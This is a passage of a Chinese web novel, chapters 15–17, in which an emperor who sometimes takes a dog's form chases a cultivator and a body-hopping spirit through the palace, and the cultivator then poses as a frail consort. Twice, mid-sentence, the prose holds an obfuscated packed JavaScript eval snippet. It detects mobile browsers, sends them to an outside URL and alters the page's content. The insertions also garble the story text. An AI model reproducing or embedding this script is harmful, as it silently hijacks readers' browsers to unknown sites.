景辰都不知是该气还是该笑,这帮侍卫倒是恪尽职守,蓬莱宫的守卫也固若金汤,但被针对的贼子是他自己的话,就有些难受了。 刀剑绳索齐下,八方出路被堵,景辰绝望之中闭上眼,不停默念:“快让朕回去,回蓬莱宫的身体去!” 也不知道是强烈的求生欲起了作用,还是那一下撞得够狠晕过去了,景辰竟真的眼前一黑,消失在原地。 屋顶上围捕狗妖的侍卫们眼看着那狗忽然不见,又惊又怕,愣是将附近屋顶的瓦一片片掀开找了好几遍,却连根狗毛都没找到。 此时的蓬莱宫寝殿中,被层层帐幔笼罩的龙床上,景辰猛地睁开眼,立即抬手在眼前晃了晃,很好,是人手不是狗爪! 他松了口气,连忙下床抓起挂在红木架上的外衫胡乱套上,大步走出寝殿。 “来人!让今夜值守的羽林卫集合,跟朕去慎刑司!” 外间值守的小太监正靠在桌沿上打瞌睡,忽然听到景辰的吩咐,吓得一个激灵站直了,连忙应喏,快步出去传令。 今夜值守的羽林卫将领是热心王大哥,听了小太监的传达的旨意,他连忙招呼房顶围墙上的侍卫们集合整队,又跟着小太监去见景辰,打算汇报狗妖之事。 景辰这会儿正站在殿外的台阶上,长身玉立,神情严肃,听到王副将说“狗妖道行高深,着实厉害”的时候,他嘴角不自觉勾了勾,原本那点火气也彻底浇灭,他点头道:“朕知道了,狗妖之事不必再管,先去慎刑司。” 王副将搞不懂皇上为何将狗妖闯宫之事轻轻放下,但也只能听命行事,当即退下整队去了。 金内侍原本今夜轮休,但先是侍卫们抓狗妖,接着景辰又传令集合,他身为御前总管怎么可能继续睡觉。 吃不饱就罢了,如今睡也睡不成,金内侍的怨气堪比乱葬岗腌了几百年不得投胎的陈年老鬼,他不情不愿地收拾齐整赶到蓬莱宫,正好撞上往宫外走去的景辰。 金内侍立马堆起假笑恭敬行礼:“陛下,这是出了何事?您要去哪儿,奴才替您开路。” 景辰瞟了金内侍一眼,点点头道:“多带些人,去慎刑司。” 这大半夜的去那鬼地方做甚?金内侍心里咯噔一下,却不敢质疑景辰,只得帮着羽林卫的孙副将清点整队。 很快,一支约莫百人的羽林卫分作两列肃然静立,景辰满意地扫过小伙子们因抓狗而跑得红润有神的年轻面庞,很好,无论慎刑司中藏着多少妖怪贼人,今夜定要将之一网打尽! 景辰带着他的底气昂首阔步出发擒贼,然而刚走了两步就是一个趔趄,魔鬼的呼唤又一次在耳边响起。 “富贵儿?听到了吗富贵儿?快去慎刑司后门藏着,看到身上带那种香味的家伙就扑上去咬他知道吗?” 景辰的意识开始模糊,像是被无形的线拉扯着,就要被拽出这具身体,他咬牙强撑着,实在撑不住的时候,狠狠心抬手就给了自己一巴掌。 一旁扶着景辰的金内侍被他突然来这一下整懵了,下意识松开手离他远了点,生怕他待会儿冤枉自己冒犯龙脸。 还好奚萦吩咐完这一句便没切断了联系,景辰这一巴掌成功将自己打清醒了,却把在场的百多个太监侍卫也给打傻眼了。 名为尴尬的情绪在夜色下无声尖叫。 景辰故作镇定地起身,无视身后偷偷飘来的那些古怪目光,一脸深沉地继续大步往慎刑司去。 很好,看来丢西山猎场打老虎赛狗熊还是太便宜她了,他今天非得把这可恶的家伙关天牢里去,打得她哭爹叫娘以后见了狗都要绕道走! 15. 事情闹大了 景辰带着百多号人马,底气十足地赶往慎刑司。 他的底气不是平白而来的,是他亲身试验出来的。 方才围堵他的侍卫约莫有十多个,其中五六个轻功不错,他的轻身术略逊那家伙一筹,但跟普通武者相比已经是登峰造极的仙术了,那么以十倍于方才抓他的人马去抓那家伙,应当还是很有胜算的。 她顶多比自己厉害个十倍! 当然,若是奚萦知道他这番盘算的话,定会嗤之以鼻,男人啊,总是在一些莫名其妙的地方拥有令人费解的自信。 奚萦这会儿正在慎刑司中跟那有问题的侍卫上演你追我逃的戏码。 这东西实在敏锐,她刚一现身,一句话都没来得及说,他便拔腿就跑。 奚萦被气得差点破口大骂,她让孙胡将那张将军引走,原是想低调行事来着,这下倒好,两个那么大的人在慎刑司上蹿下跳的,还低调个鬼嘞。 更可气的是,他若是自己跑了也还好,奚萦自认为没有他追不上的妖魔鬼怪,但这家伙像是非要赖在慎刑司,一边跑一边拉扯身边的侍卫或是太监挡奚萦的路,奚萦不愿伤人,追得束手束脚,一时竟拿他没办法。 很快,张谦也被这动静吸引过来,他武功极好,尤擅用鞭,见状当即抽出长鞭大力甩出,直袭奚萦面门。 那古怪侍卫此时也恰好将一个吓傻了的小太监朝奚萦丢去,两面夹击,奚萦又顾忌着小太监的性命,这一下竟是被张谦的鞭梢擦到了衣袖。 如此情状已然无法善了,奚萦不再留手,直接抛出一枚拇指大小的金铃,同时默念法诀以掌击地,一道无形的结界瞬间笼罩住整个慎刑司。 结界开启的瞬间,铃声大作,震耳欲聋,一些不会武功的太监杂役当即被震晕过去,有武艺傍身的羽林卫们也不过多挣扎了片刻便倒地不起。 铃音就如暴风,所到之处,秧苗一茬茬地倒伏不起。 张谦心中大骇,原本黑黝黝的一张大方脸刷地成了片白墙壁,也不敢再跟奚萦硬碰硬,当即转身就要往慎刑司外逃去。 可惜他只跑了两步就眼前一花,左脚绊右脚摔进了一旁的草丛里,再也没能爬起来。 片刻之间,慎刑司中还站着的只剩下奚萦和那古怪侍卫。 奚萦一脸凝重地瞪着垂头站在廊下的那人,有些拿不准这家伙是个什么路数,也不想在这个满地都是人质的地方跟他动手,于是悄悄给富贵儿传信,让他在后门埋伏。 不曾想那人竟先开口了,语气有些无奈又有些祈求:“你究竟是何人,又为何要跟我过不去?我只是想替朋友完成遗愿而已,碍不了你的事,你想要什么,或是想知道什么,我们可以商量,实在不必如此大动干戈。” 奚萦被他这倒打一耙的语气给气笑了:“是谁一个照面就大动干戈来着?怎么,打不赢了才想起该好好说话了?别跟我逼逼赖赖的,是自己束手就擒,还是我亲自来擒,你选一个吧。” 那人轻叹一声,继续跟奚萦商量:“别这样,我们可以合作的嘛,只要你洗去这些人今晚的记忆,一切还能照旧,我们实在没必要闹得鱼死网破。” 奚萦冷哼道:“谁要跟你合作——” 她话音未落,那人却忽地动了,身法快如鬼魅,几乎瞬间穿过大半个院子,直击奚萦面门。 奚萦也是彻底无语了,这货实在有个性,总是在该话多的时候选择直接干,把人惹毛了又开始说好听话。 奚萦却没有正面与他交锋,反而倒退几步,远离了地上那些昏迷不醒的人,这才出手反击,一掌拍向他面门。 那人却倒退一步,同样出掌回击,然而这一掌却并未攻向奚萦,而是直奔她身后结界而去。 奚萦看出他意图,顺势回撤,守住了结界,手一抖唤出青玉剑,一剑刺出,再次攻向对方面门。 这次出手极快,剑风凌冽,逼得那人不得不后退躲闪。 两人攻防之间,已经来到慎刑司后门处,奚萦再次通过神识感应通知富贵儿,让他做好准备,收网捉鱼。 景辰这时候已经带着大队人马来到慎刑司后门,却被结界挡住无法入内。 慎刑司里没有任何动静传出来,这让景辰心中甚是忐忑,想到那女人的种种厉害手段,先前的底气顿时有些不足了。 恰在此时,魔鬼的呼唤又来了。 幸好,这次只有极短的两个字:准备。 景辰用力眨眼,很快摆脱了那种被拽走灵魂的眩晕感,不由暗松了口气,若是再当众扇自己一巴掌的话,他非得跟那家伙不死不休了。 奚萦让他准备,说明她马上要将鱼放出来了,景辰看了看身后的羽林卫,吩咐道:“守住后门出口,一旦有人出现,立即抓捕。” 王副将领命,快速带人将后门围了个水泄不通,所有人屏息静气,等着景辰口中的贼人现身。 一旁的金内侍也紧张兮兮地贴在景辰身旁,不知道他这是唱的哪一出,莫非慎刑司里闯进了什么了不得的家伙? 很快他就会知道,这不仅是个了不得的家伙,还是个老熟人。 此时的慎刑司内,奚萦看准时机,卖了个破绽,那人一拳落在结界上,结界碎裂,露出了个小口子,奚萦假装着急,连忙灌注灵力稳住结界,而那人趁机溜走。 跑出结界的瞬间,雪亮的刀光乍现,七八个羽林卫好手冲在最前面,挥刀砍向来人胳膊腿儿,同时还有一张大网从天而降,向那人兜头罩下。 那人似乎也没料到外面有这么多人等着他,懵了一瞬间,连忙矮身趴到,就地一滚,险险躲开了那些刀光,却被大网兜了个结实。 紧接着,奚萦也出来了,迎接她的同样是这一套组合拳,她也懵了一瞬间,不过她比那倒霉蛋儿反应更快,当即后退,落在慎刑司的围墙上,又回到了结界内。 奚萦的目光扫过一圈,准确落在后方的景辰以及他身旁呆若木鸡的金内侍身上。 景辰也正好看向立在墙头的奚萦,两人目光一撞,并未擦出什么火花。 她不禁纳闷儿,慎刑司的动静应该没有传出去才对,为何竟将这位引了过来,还好死不死正堵在她设下的陷阱位置? 而且,富贵儿也不见了! 奚萦惊疑不定,莫非富贵儿被抓了,然后废狗果断选择背叛,将她的计划全卖给了皇帝? 正要再次呼唤富贵儿时,变故陡生,被大网网住的那人忽然停止挣扎,一股清冷幽远的异香爆发。 奚萦暗道一声糟糕,立即一剑刺下,打算阻止那东西换宿主。 谁知道被他寄生的人会不会当即死亡。 然而这一剑却刺了个空,网中的人委顿在地不知死活,那股异香却忽然朝远处飘去。 奚萦没看到任何东西,却直觉那玩意儿已经离开网兜中的侍卫,她紧张地环顾四周,在场的人实在太多了,不知道它又会跑去谁身上。 景辰也闻到了那股熟悉的香味,这次竟是比先前在许美人身上闻到的浓烈许多倍,而且越来越浓烈,几乎有些呛人了。 他顿时一惊,这玩意儿莫非冲自己来了? 金内侍这时也从见到奚萦的震惊中缓过神来,他默默吞咽了好几下,拉着景辰连忙后退。 景辰一边后退一边想要使出轻身术,却因为换成了人的身体,一时有些卡壳,而围在他身边的侍卫不知内情,全都没有动作。 奚萦见此情状,当即反应过来那东西是冲他去了。 若皇帝死在这里,那今天可真是捅破了天了,奚萦一颗心顿时提了起来,速度提到极致,几乎瞬息之间闪至景辰身前,一剑挥出,势若雷霆。 侍卫们都被她吓得肝胆俱裂,想也不想便挥刀相向,大喊着“护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232553|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驾!护驾”,乱成了一锅粥。 奚萦一面要护着身后的景辰,一面又要提防无形无踪的怪物,同时还不敢对凡人下重手,一时间竟有些左右支绌,那些朝她而来的刀光剑影难免便有漏网之鱼,或是砍在她衣袖袍角,或是擦碰到她脸颊手臂。 虽然凡人的兵器伤不到她,但打在身上也会疼,更重要的是,挺气人的。 “老娘帮你们保护皇帝,你们竟然还对老娘下手?”这种气人。 幸好景辰这时反应过来了,连忙道:“别伤她!” 侍卫们惊疑不定地停手,却仍旧围着奚萦,奚萦则很是意外,抽空瞟了眼皇帝,见他一张俊脸发白,显然是吓着了。 啧,这小白脸废是废了点,倒还不算太糊涂。 相处过几次,景辰对奚萦已经有了几分了解,自是看懂了她这个嫌弃中带着点赞许的眼神,一时心情竟有些复杂。 但隐藏在暗夜中的怪物却不给他时间继续心情复杂下去了,幽冷的气息瞬间贴上他鼻尖,一股诡异的力量滑入,激得他浑身汗毛倒竖,只来得及发出一声极短的惊呼,口鼻便被封住。 一旁的金内侍手足无措,扯着景辰颤巍巍地喊:“陛下!陛下您怎么了?!”同时将求助的目光投向奚萦。 奚萦见状,闪身至景辰面前,一掌拍在他头顶,掌中驱邪避秽的灵符顿时散发清光,将景辰整个人笼罩其中。 “啊——” 一声凄厉的惨叫响彻整座皇宫。 景辰从窒息中恢复,大口喘着粗气,望着这个正摸着自己头顶的家伙,心情十分复杂。 算起来这人治好了他的头疾,教会他轻身术,这次又救了他的命,是他的恩人,可她屡次侮辱戏弄自己,又实在可恶至极,不过这次他也背叛了她,勉强算是扯平一点吧,至于救命之恩,该谢的还是要谢,可是吧…… 然而还没等他纠结出个结果,那股幽冷的异香飘走,奚萦的身影也瞬间消失在眼前。 “快,调禁卫军封锁宫门入宫护驾!其余人等跟朕来,一律活捉,不得伤人!” 景辰指着奚萦消失的方向下令追捕,自己也一马当先跟了上去。 他现在其实只想抓那怪物来着,只是又不想明着帮奚萦打自己的脸,这才模棱两可地说活捉。 唉,自己给自己当二五仔什么的,还是挺难的。 金内侍哪里知道他家陛下那弯弯绕的心思,他简直想给这位傻莽傻莽的货跪下了,就你这点稀烂的身手,这些不中用的凡人侍卫,你还想活捉妖务司的大人,你想屁吃呢!活着不好吗? 可惜景辰连劝说的机会都没给他,人已经跑没影儿了。 得嘞,他也只能跟上,待会儿见机行事,争取给大人打个掩护。 一场追逐战就此拉开,最前面的是奚萦跟那怪物,后面远远跟着个景辰,接下来是百来个羽林卫以及混迹其中的金内侍。 一行人几乎将皇宫跑了个遍,最后奚萦的身影消失在一处宫苑内,再也没出来。 禁卫军终于赶到,一列列披甲执锐的将士在夜色中肃然而立,将长夏宫围得水泄不通。 金内侍已经彻底打消了帮奚萦打掩护的小心思,开玩笑,被三千禁军围捕,就算是只蚊子也逃不出啊! 景辰则有些犹豫了,他下令调兵时并未想太多,但此时怪物和奚萦一起消失在长夏宫,长夏宫里住着的又是那个病恹恹的沈嫔,若自己带兵进去,恐怕得将人吓出个好歹来。 但若是不带兵进去的话,别说留下奚萦了,肯定连那怪物都对付不了。 片刻后,景辰沉声吩咐:“金内侍,你去叫门,小心点别吓着沈嫔,王朗带二十人先进去,若发现贼人踪迹立即示警,吴云晖支援,见机行事,尽量抓捕,勿伤无辜。” 几人领命,各自就位,金内侍满心无奈地上前叩门。 16. 女人,成事不足败事有余 几人领命,各自就位,金内侍满心无奈地上前叩响宫门。 长夏宫里却半晌无人回应。 景辰心里一紧,沉声下令:“翻墙进去,快!” 王朗当即带着人翻墙而入,大门很快被翻进去的侍卫打开,与此同时,一声短促的女子尖叫声骤然响起,景辰不敢耽搁,带着吴云晖和禁军闯入,直奔寝宫而去。 整个长夏宫只有沈嫔住的正殿留着几盏微暗的烛火,殿门口倒着两个小太监,一盏宫灯翻滚到台阶下,被烧得只剩半边骨架,这景象显然是遭了袭击,再联想到方才那声尖叫,景辰的心再往下沉了沉,许美人尸骨未寒,沈嫔这个病秧子再有个三长两短的,那可就麻烦了啊…… 他这么想着,脚下步伐也不由得加快了,刚一踏入寝殿内室,一道雪白的影子猛地扑过来,嘴里还含糊不清叫了句什么,景辰没听清楚,下意识后退一步,抬手将那白影推开。 那白衣身影似乎也没料到他竟是这么个反应,身形僵了一瞬,顺势跌坐在地。 紧跟在他后面的金内侍和禁军副统领吴云晖立马冲了过来,一个用身体护住景辰,一个拔刀挡在前面。 “呜呜,陛下,是臣妾啊!您这是要做什么?” 没错,扑过来的白衣人影正是奚萦。 她方才一路追着那古怪的异香,没想到它竟是慌不择路往长夏宫来了,正好,长夏宫有她先前布下的禁制,这蠢货非要自投罗网,那她可是求之不得。 但两人刚追至长夏宫门口,那东西似乎又反悔了,改换方向想要往别处逃,奚萦当即将身上带的驱邪避秽符箓不要钱似的往外撒,硬是将那东西强行赶进长夏宫正殿,然后开启禁制,又一番缠斗之后,总算将之困入了一节寄魂木中。 然而还没来得及收拾现场,外面就传来叫门声。 此时长夏宫十来个宫女太监全被她弄晕过去了,“沈嫔”却不在,这一开门可不就全露馅儿了。 若是有人配合,演一出劫持宫妃的戏码也不是不行,但这样一来事情就越闹越大了。 如今摆在面前的就两条路,赶紧跑路或是假扮受害者。 奚萦只犹豫了一瞬间,果断选择后者,“沈嫔”这个身份还是很有用的,她辛辛苦苦演了半个月,就这么丢了还是挺舍不得,何况今天又闹出这么大动静,以后想用别的身份潜入皇宫恐怕很难。 于是,奚萦迅速脱掉穿在外面的夜行衣,调整面容打散头发,弄成受了惊吓的“沈嫔”的模样,然后丢了个纸人穿上自己的夜行衣,往后院一藏。 做好准备后,奚萦尖叫一声提醒外面的皇帝赶紧破门来救人,等人来了,再装个可怜把人绊住,然后用纸人引开这些侍卫和禁军,让夜闯禁宫的“贼子”成功逃脱。 之所以要绊住皇帝,是因为她发现这家伙竟像是有点修为在身的,先前若不是他一直跑在最前面指路,那些凡人侍卫和禁军怎么可能追到长夏宫来。 至于怎么绊住这人嘛,她只能牺牲一下自己,扑上去撒娇耍赖嘤嘤嘤一番,将他死死缠住,以“沈嫔”这般柔弱可人的模样,想必正常男人都很难拒绝吧?何况今日傍晚初见,皇帝对“沈嫔”态度还算不错,至少不是个冷酷无情的人。 至于演技,哼,她奚萦要什么没有,演技当然也是相当拿得出手的! 自以为这番安排天衣无缝,谁曾想第一步就惨遭重挫,刚才她手指尖刚碰到那人衣袖就被猛地推开,若非她修为在身,指不定得磕断半颗门牙呢。 奚萦心中大骂,这人莫非是西方佛祖转世吗,白长了这么张俊脸,碰都碰不得,何不出家算了! 金内侍若知道她这般想法,定然要泪眼汪汪地将她引为知己。 景辰此时也有点尴尬,追捕贼人的中途忽然蹿出个不明物体扑向自己,他完全是出于本能地将之推开,谁知道这个不明物体竟然会是沈嫔啊! 此时沈嫔衣衫不整地倒在地上,脸色煞白,红着眼含着泪看向自己,眼神中满是不可置信和委屈,实在可怜得紧。 景辰干咳一声,吩咐金内侍:“还不快把沈嫔扶起来。” 金内侍差点翻白眼,就没见过这么不解风情的男人!啊不对,他本就不喜欢女人,不解风情好像也正常? 金内侍一边腹诽着,探身去扶奚萦,一旁的吴云晖则低头看自己脚尖,尴尬得恨不得挖个地洞钻进去,余光瞥见后面的禁军要跟着冲进来,连忙喝道:“退下!” 吼完又觉得自己也该退下,但偏偏皇帝像呆了似的不发话,他只能继续像只热锅上的蚂蚁一般,低着头原地转圈。 奚萦可不想这么随便被打发了,她非得要让这场戏按照自己编排好的本子唱下去不可! 于是当金内侍的手伸过来时,她十分灵活地避开,然后侧着身子从金内侍和原地转圈的吴云晖中间钻过去,再次扑向景辰。 她这次看得非常准,并且暗暗发誓,要是景辰再把她推开的话,她就顺势“摔伤”,然后哭着闹着要去找自家老父亲主持公道,不把这后宫闹翻天誓不罢休! 幸好,这次景辰没再丧心病狂地欺负病秧子受害者了,他心不甘情不愿地伸手扶住奚萦,赶在她开口前安慰道:“沈嫔莫怕,朕这就亲自带人去抓住那贼人,你快回去好好歇着吧。” 奚萦岂能如他的愿,当即腿一软,往他怀里一靠,哭唧唧地求道:“臣妾一个人害怕啊,那黑衣人实在太厉害了,一个照面就打晕了臣妾的宫人,若不是臣妾假装晕倒,今日怕是再也见不到陛下了!陛下就当是可怜可怜臣妾吧,不要走好不好?” 景辰在她靠过来的时候僵了僵,不自觉挺直了腰背,他还从未跟女子如此亲近过,从前生病的时候,听到女人的声音都觉得烦,最近几天病好了,却差点被那个心狠手辣的可怕女人折腾掉半条命。 女人,对景辰来说一直是某种可怕的存在。 但此时此刻,贴在自己怀中的这个女人柔弱又可怜,她既没有让他听了就头疼的尖利嗓音,也没有强大到能一拳打趴猛虎的恐怖实力,她清瘦单薄,柔若无骨,像一朵养在温室的娇花骤然遭了狂风暴雨,凄凄惨惨地抹着泪向他求救,而随着她微微的颤抖,一缕独属于女子的幽香飘入鼻端…… 咦,这味道怎么有点熟悉? 虽然换成了人的身体,但当狗的本能还残留在灵魂中,景辰下意识开始分辨这种让他感觉熟悉的味道,一时忘了言语。 奚萦却以为是自己撒娇撒得还不够,于是狠狠心,抬手抱住景辰的脖子,将脸往他胸口一埋,哭道:“陛下竟是这般狠心吗?臣妾平日里病得再重也不敢去打扰您,可今日,可今日臣妾真的要死了啊!可怜臣妾的老父亲,他就这么一个女儿,不明不白地死在宫中,白发人送黑发人,人间惨剧啊呜呜呜……” 此时两人的身体已经严丝合缝贴在一处,无论脖子上的纤纤素手,还是胸前的柔软玲珑,那存在感都瞬间超过了似有若无的熟悉香气,景辰的身子这会儿已经不仅是僵了,他整个人都麻了。 “沈、沈嫔你,你冷静点,朕也没说要走……” 他想拍一拍怀中人的肩膀以示安慰,但几次举起手又放下,结果一抬头看到两双炯炯有神的眼睛,不由恼了:“你们俩杵这儿干嘛呢,还不快去抓贼!” 吴云晖大松一口气,飞也似的逃离现场,急吼吼抓贼去了,金内侍却有些意犹未尽,磨磨蹭蹭好半晌才走出寝殿。 只剩两人,景辰那种浑身不自在的感觉消散了一些,试着抬手拍了拍奚萦的肩膀,无奈道:“你,你别哭了,要不要回去躺着,让太医来看看?” 奚萦哼哼唧唧:“臣妾不要太医,臣妾只要陛下。” 景辰:“……” 景辰牙疼,只能反复劝自己,这姑娘是个病秧子,刚受了惊吓,还被自己推得摔了一跤,得让着她点。 于是他再次提议:“那要不,先坐下?就这么一直站着,你怕是吃不消吧?” 奚萦弱弱“嗯”了一声,心中却是冷哼,老娘扎两个时辰的马步都不带喘气儿的,靠着你站一会儿还能咋地?倒是这家伙,看着高高大大一个人,这才站了多久,怎么浑身都是僵的,身体这么差吗? 在这种彼此都体谅对方身体不好站不住的氛围中,景辰和奚萦“互相”搀扶着,坐到了窗边矮榻上,齐齐松了口气。 景辰终于摆脱了那种温香软玉满怀的别扭感,被麻住的脑子开始正常思考,又开始盘算着能不能抓到那个女人和那个怪物,以及抓到人之后怎么处置。 杀了?那不行,他向来不喜无谓的杀戮,何况这女人又确实曾救过自己。 关起来?这女人手段极多且身负仙术,可不是个能关得住的。 放了?那他费这么大劲儿抓她干什么,何况那些羞辱又怎能如此轻轻揭过,他的脸面可不只是他自己的脸面,更是这大雍王朝的脸面,是帝王的煌煌天威,不可冒犯。 那罚她一番,让她牢记这个教训,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232554|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后再也不敢欺凌弱小? 怎么罚呢?唉这可真是让人为难哪! 一旁的奚萦悄悄看了景辰几次,见他一会儿喜一会儿愁的,搞不懂他在想些什么。 若是他知道景辰心里在痴心妄想些什么玩意儿,约莫也要嗤笑一声,这一天儿天儿的净会想屁吃嘞! 无论如何,奚萦成功将皇帝绊住,计划完成了一半,她松了口气,藏在袖中的手暗自掐诀,指挥后院花圃中的纸人现身。 “在那里!” “快,所有人去后院,务必生擒贼人!” “小心,他要逃!” 羽林卫和禁军的呼喝声顿时响起,惊醒了胡思乱想的景辰,他霍然起身,当即就要出去,奚萦眼疾手快再次施展扑人神功,准确撞入他怀中,嘤嘤嘤个不停。 “别胡闹,快放开朕!” 景辰这次是真的不耐烦了,伸手一扯,试图将怀里这牛皮糖一样的女人给扯开,结果手刚捏住她胳膊,耳边就传来一声惨叫。 “啊——好痛啊陛下……” 话音刚落,怀里的人眼一闭头一歪,软趴趴地倒了下去。 景辰只能伸手将人接住,又茫然又无措,脑海中缓缓冒出一个念头:朕这是,被人碰瓷了? 怀中的女人脸色白得可怕,唇上也没有一丝血色,双目紧闭,身子也有点发凉,若非那只纤细白腻的手还紧紧攥着自己的衣袖,景辰都要怀疑这人是不是死了。 做人的基本良心让景辰干不出将昏迷的妃子就地扔下之事,跟过来的人又都被打发出去了,万般无奈之下,他只能自己动手将人抱起来放到床上去。 自始至终,奚萦攥着他衣袖的手就没松开过,景辰没办法,只能大声唤人。 好半晌后,金内侍终于气喘吁吁地跑了进来,一看到床上昏迷不醒的“沈嫔”就大呼小叫起来:“娘娘这是怎么了?可要请太医?” 景辰沉着脸吩咐:“废话,你会看病还是朕会看病?” 金内侍只好马不停蹄再去安排人请太医。 很快,王朗和吴云晖也回来复命了,他们没有进寝殿,只站在外间门口回话:“启禀陛下,那贼人似是会妖法,臣等分明已将长夏宫所有出口尽数包围,却还是让他从房顶逃脱,众目睽睽之下凭空消失,无迹可寻……臣等办事不力,还请陛下责罚。” 这个结果在景辰意料之中,他有点生气,但不是气王朗和吴云晖办事不力,那女人的轻身术何等厉害,他可是清楚得很,他气的是这沈嫔,若非她拉拉扯扯的话,自己就能亲自去追,如此还能有几分胜算。 唉,女人,果然是成事不足败事有余! “没事,你们退下吧,严守各处宫门,不得放任何可疑之人离宫。” “是,属下遵命!” 两人领命退下,寝殿里再次安静下来。 景辰憋着气,回头去看躺在床上一无所知的女人,她面色依然苍白,眉头却不知何时舒展开了,方才一直攥着自己衣袖的手也松开了,好得很,莫不是掐准了时间坏自己的事? 气归气,景辰终究还是没有动手将人摇醒质问一番,他以一种憋屈的姿势坐在床前的绣凳上,守着奚萦直到金内侍请来太医。 今夜太医院值守的是一名年轻的医官,景辰见他面嫩,不由得蹙眉:“太医院只有你在吗?” 医官恭敬行完了礼,语气平静地答道:“启禀陛下,是的。” 这惜字如金的模样,让景辰觉得有些噎得慌,但眼下也不好将人赶出去,只得挥挥手让他去给奚萦看诊。 这年轻医官话少,看诊倒是极仔细,一番望闻问切之后对景辰道:“启禀陛下,娘娘受了惊吓,引发旧疾,需安神压惊,静养一段时日。” 景辰闻言松了口气,再也不愿多留,吩咐金内侍带人留下照顾长夏宫,自己满腹憋屈地回了蓬莱宫。 * 天还未亮,宫中各处却都忙得脚不沾地,或是搜查可疑人士,或是收拾残局,或是,趁乱放火。 今夜值守的羽林卫被尽数调走,因此某些本就荒凉的宫殿更是成了无人之境,比如朝露殿。 朝露殿内,被奚萦打晕的几个宫人仍旧倒在先前的位置,浅碧色帐幔仿佛中邪一般,疯狂扭曲舞动,无声咆哮着,试图抓住那道从容离开的蓝袍身影,可惜终究是徒劳。 火随风势起,很快吞没了殿中巨大的黑色棺木。 酝酿了一晚上的雨,终究没有落下。 17. “许美人”的宏愿 景辰被气走没多久,奚萦便“悠悠醒来”。 守在床边的是个两个面生的宫女,见她醒了,其中一个瓜子脸宫女赶紧上前服侍,另一个圆脸宫女行礼之后默默退了出去,估计是去通知金内侍了。 此时长夏宫内外已经在金内侍的带领下收拾妥当,羽林卫和禁军都已撤离,被破坏的家具物什花花草草也都已归置好,听到小宫女来禀报说沈嫔醒了,金内侍赶紧让人将熬好的汤药端上,堆了满脸的笑快步往寝殿而去。 奚萦在瓜子脸宫女的服侍下简单梳洗了一番,此时正靠坐在床头,盘算着如何将这些人打发走,忽然看到金内侍那张笑得眼睛都消失了的褶子脸,顿时感到一阵头疼。 如今孙胡被关,发财前两天假称感染风寒出宫了,奚萦孤家寡人一个,不想暴露身份的话,只能亲自跟这条热衷于拉皮条的蛇周旋,而这家伙废话之多,她可是早就见识过的。 果然,金内侍一进门就呱呱呱地说了起来:“哎哟娘娘您可算醒了!您刚才忽然晕倒,可把陛下给担心坏了,若不是今夜闯宫的贼人奸猾难缠,陛下得亲自去处理,否则他定然是要寸步不离地守着娘娘呢。娘娘您可还好?头还晕吗?气还闷吗?” 奚萦扶额,原本不晕的,看他那破嘴翻花儿似的叭叭个不停,已经有点想晕了。 “有劳陛下挂怀,本宫已经好多了。金内侍也辛苦了这一夜,早些回去吧,陛下那边怕是也离不开金内侍呢。” 金内侍笑容不改,招了招手示意身后的宫女将药碗递过来,亲自捧到奚萦跟前,继续瞎编:“陛下千叮咛万嘱咐,让奴才务必照看好娘娘,就这么回去可交不了差呢!这是安神压惊的汤药,娘娘您先用药。别的事您也不用担心,陛下特地下令增派羽林卫护卫娘娘安全,您只管安心静养便好。要说咱们陛下啊,那可真是体贴……” 见他喋喋不休,奚萦生怕唾沫星子溅到自己的药碗中,直接伸手将碗夺了过来,三两口喝光,再把空碗往金内侍手中一塞,成功堵住了后面的话。 “呵呵,本宫自小就怕苦,喝药最不喜欢磨蹭了,呵呵。” 金内侍顿了片刻继续笑道:“咱们陛下心细如发,早就猜到娘娘怕苦呢,这不还特地叮嘱奴才准备些蜜饯糖丸给您呢。冬青,快去把陛下赏赐的蜜饯给娘娘拿来。” 看着名叫冬青的圆脸宫女一脸茫然且欲言又止地出去拿“御赐蜜饯”了,奚萦不禁暗暗翻白眼,若非亲眼看见皇帝离开时那气得头顶冒烟脚下生风的模样,她说不定还真信了这条蛇的邪。 等产自长夏宫小厨房的“御赐蜜饯”吃到嘴里时,金内侍还在继续卖力推销他家陛下:“陛下不喜多话,实则心里惦记着娘娘呢,瞧这蜜饯,颗颗饱满,就像咱们陛下那颗心……这药也是陛下盯着熬好的,特地让医官多加了一味甘草,以免娘娘难入口……陛下平日里是面冷了些,那不过是从前饱受头疾折磨,陛下啊,其实心软得很,就说这次许美人出事,陛下面上不显,心里其实难受得紧,今日从朝露殿回去后,他独自在窗前坐了许久,奴才瞧着,竟像是伤心得落了泪,不愿让旁人看到呢!嗐,瞧奴才这破嘴,这事儿不该说的,娘娘您千万替奴才保密啊……” 这蛇越说越离谱,竟有种完全不顾他家陛下死活的劲头,连尸骨未寒的许美人也要拉出来暗暗挑拨一番,奚萦不由得叹服,什么叫人为财死蛇为食亡,这就是了! 但她也实在不想继续听这些越吹越破的牛皮,于是整个人往靠枕上一倒,作头晕状,虚弱道:“怕是药效上来了,本宫有些乏……” 金内侍总算还有点眼色,见状连忙让一旁的宫女上前服侍奚萦歇下,告退之前,仍不忘再给自己瞎扯的红线打个结:“娘娘安歇,奴才这就回去向陛下复命,想必陛下也记挂着娘娘呢,待陛下得闲,定会来长夏宫看望您的。” 